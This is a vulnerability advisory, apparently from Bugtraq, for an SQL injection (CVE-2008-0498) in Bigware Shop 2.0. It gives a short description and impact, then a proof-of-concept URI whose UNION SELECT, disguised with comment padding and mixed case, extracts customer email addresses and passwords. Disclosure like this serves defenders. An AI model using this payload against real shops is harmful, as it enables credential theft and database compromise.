Bigware Shop 'main_bigware_53.tpl.php' SQL Injection Vulnerability

Bugtraq ID:	27489
Class:	Input Validation Error
CVE:	CVE-2008-0498
Remote:	Yes
Local:	No
Published:	Jan 29 2008 12:00AM
Updated:	May 07 2015 05:33PM
Credit:	D4m14n is credited with the discovery of this vulnerability.
Vulnerable:	Bigware Bigware Shop 2.0
Not Vulnerable:

Bigware Shop 'main_bigware_53.tpl.php' SQL Injection Vulnerability

Bigware Shop is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Bigware Shop 2.0 is affected by this issue; other versions may also be vulnerable.

Bigware Shop 'main_bigware_53.tpl.php' SQL Injection Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/main_bigware_53.php?op=results&pollid=-1/**/and/**/voteid=0/**/and/**/language_id=5/**/and/**/1=1/**/UnIOn/**/SeLeCt/**/ConCat(former_email_address,0x3a,former_password)/**/FrOM/**/former/**/WhEre/**/former_id=1/*

Bigware Shop 'main_bigware_53.tpl.php' SQL Injection Vulnerability

References:

• Vendor Homepage (bigware.de)